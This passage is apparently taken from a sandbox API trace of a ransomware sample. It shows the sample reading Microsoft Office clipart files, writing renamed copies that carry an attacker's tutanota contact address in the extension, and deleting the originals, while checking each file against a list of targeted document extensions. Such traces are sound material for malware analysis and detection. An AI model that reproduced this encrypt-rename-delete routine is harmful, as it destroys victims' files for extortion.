Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0220.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0220.285] lstrlenW (lpString=".doc") returned 4 [0220.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.285] lstrlenW (lpString=".docx") returned 5 [0220.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.286] lstrlenW (lpString=".pdf") returned 4 [0220.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.286] lstrlenW (lpString=".xls") returned 4 [0220.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.286] lstrlenW (lpString=".xlsx") returned 5 [0220.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.286] lstrlenW (lpString=".ppt") returned 4 [0220.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0220.286] lstrlenW (lpString=".zip") returned 4 [0220.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.286] lstrlenW (lpString=".rar") returned 4 [0220.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.286] lstrlenW (lpString=".bz2") returned 4 [0220.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.286] lstrlenW (lpString=".7z") returned 3 [0220.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0220.286] lstrlenW (lpString=".dbf") returned 4 [0220.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0220.286] lstrlenW (lpString=".1cd") returned 4 [0220.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0220.286] lstrlenW (lpString=".jpg") returned 4 [0220.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.286] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2404) returned 1 [0220.286] CloseHandle (hObject=0x1f8) returned 1 [0220.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0220.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.287] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.287] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.287] GetLastError () returned 0x0 [0220.287] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x964, lpOverlapped=0x0) returned 1 [0220.324] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x970, lpOverlapped=0x0) returned 1 [0220.325] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.325] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.325] SetEndOfFile (hFile=0x16c) returned 1 [0220.325] CloseHandle (hObject=0x16c) returned 1 [0220.325] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.325] SetEndOfFile (hFile=0x1f8) returned 1 [0220.326] CloseHandle (hObject=0x1f8) returned 1 [0220.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0220.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0220.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0220.326] lstrlenW (lpString=".doc") returned 4 [0220.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.326] lstrlenW (lpString=".docx") returned 5 [0220.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.326] lstrlenW (lpString=".pdf") returned 4 [0220.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.326] lstrlenW (lpString=".xls") returned 4 [0220.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.326] lstrlenW (lpString=".xlsx") returned 5 [0220.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.327] lstrlenW (lpString=".ppt") returned 4 [0220.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0220.327] lstrlenW (lpString=".zip") returned 4 [0220.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.327] lstrlenW (lpString=".rar") returned 4 [0220.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.327] lstrlenW (lpString=".bz2") returned 4 [0220.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.327] lstrlenW (lpString=".7z") returned 3 [0220.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0220.327] lstrlenW (lpString=".dbf") returned 4 [0220.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0220.327] lstrlenW (lpString=".1cd") returned 4 [0220.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0220.327] lstrlenW (lpString=".jpg") returned 4 [0220.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.327] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2024) returned 1 [0220.327] CloseHandle (hObject=0x1f8) returned 1 [0220.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0220.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.327] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.328] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.328] GetLastError () returned 0x0 [0220.328] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7e8, lpOverlapped=0x0) returned 1 [0220.338] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0220.339] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.339] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.339] SetEndOfFile (hFile=0x16c) returned 1 [0220.339] CloseHandle (hObject=0x16c) returned 1 [0220.339] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.339] SetEndOfFile (hFile=0x1f8) returned 1 [0220.340] CloseHandle (hObject=0x1f8) returned 1 [0220.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0220.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0220.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0220.340] lstrlenW (lpString=".doc") returned 4 [0220.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.340] lstrlenW (lpString=".docx") returned 5 [0220.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.340] lstrlenW (lpString=".pdf") returned 4 [0220.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.340] lstrlenW (lpString=".xls") returned 4 [0220.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.340] lstrlenW (lpString=".xlsx") returned 5 [0220.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.340] lstrlenW (lpString=".ppt") returned 4 [0220.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0220.341] lstrlenW (lpString=".zip") returned 4 [0220.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.341] lstrlenW (lpString=".rar") returned 4 [0220.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.341] lstrlenW (lpString=".bz2") returned 4 [0220.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.341] lstrlenW (lpString=".7z") returned 3 [0220.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0220.341] lstrlenW (lpString=".dbf") returned 4 [0220.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0220.341] lstrlenW (lpString=".1cd") returned 4 [0220.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0220.341] lstrlenW (lpString=".jpg") returned 4 [0220.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.341] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2996) returned 1 [0220.341] CloseHandle (hObject=0x1f8) returned 1 [0220.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0220.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.342] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.342] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.342] GetLastError () returned 0x0 [0220.342] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xbb4, lpOverlapped=0x0) returned 1 [0220.368] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0220.368] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.368] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.368] SetEndOfFile (hFile=0x16c) returned 1 [0220.436] CloseHandle (hObject=0x16c) returned 1 [0220.436] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.436] SetEndOfFile (hFile=0x1f8) returned 1 [0220.436] CloseHandle (hObject=0x1f8) returned 1 [0220.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0220.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0220.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0220.437] lstrlenW (lpString=".doc") returned 4 [0220.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString=".docx") returned 5 [0220.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.437] lstrlenW (lpString=".pdf") returned 4 [0220.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString=".xls") returned 4 [0220.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.437] lstrlenW (lpString=".xlsx") returned 5 [0220.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.437] lstrlenW (lpString=".ppt") returned 4 [0220.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0220.437] lstrlenW (lpString=".zip") returned 4 [0220.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.437] lstrlenW (lpString=".rar") returned 4 [0220.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString=".bz2") returned 4 [0220.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString=".7z") returned 3 [0220.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0220.437] lstrlenW (lpString=".dbf") returned 4 [0220.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0220.437] lstrlenW (lpString=".1cd") returned 4 [0220.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0220.437] lstrlenW (lpString=".jpg") returned 4 [0220.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.438] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1768) returned 1 [0220.438] CloseHandle (hObject=0x1f8) returned 1 [0220.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0220.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.438] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.438] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.439] GetLastError () returned 0x0 [0220.439] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6e8, lpOverlapped=0x0) returned 1 [0220.468] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0220.469] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.469] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.469] SetEndOfFile (hFile=0x16c) returned 1 [0220.469] CloseHandle (hObject=0x16c) returned 1 [0220.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.469] SetEndOfFile (hFile=0x1f8) returned 1 [0220.470] CloseHandle (hObject=0x1f8) returned 1 [0220.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0220.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0220.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0220.470] lstrlenW (lpString=".doc") returned 4 [0220.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString=".docx") returned 5 [0220.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.471] lstrlenW (lpString=".pdf") returned 4 [0220.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString=".xls") returned 4 [0220.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.471] lstrlenW (lpString=".xlsx") returned 5 [0220.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.471] lstrlenW (lpString=".ppt") returned 4 [0220.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0220.471] lstrlenW (lpString=".zip") returned 4 [0220.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.471] lstrlenW (lpString=".rar") returned 4 [0220.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString=".bz2") returned 4 [0220.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString=".7z") returned 3 [0220.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0220.471] lstrlenW (lpString=".dbf") returned 4 [0220.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0220.471] lstrlenW (lpString=".1cd") returned 4 [0220.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0220.471] lstrlenW (lpString=".jpg") returned 4 [0220.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.471] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2324) returned 1 [0220.471] CloseHandle (hObject=0x1f8) returned 1 [0220.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0220.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 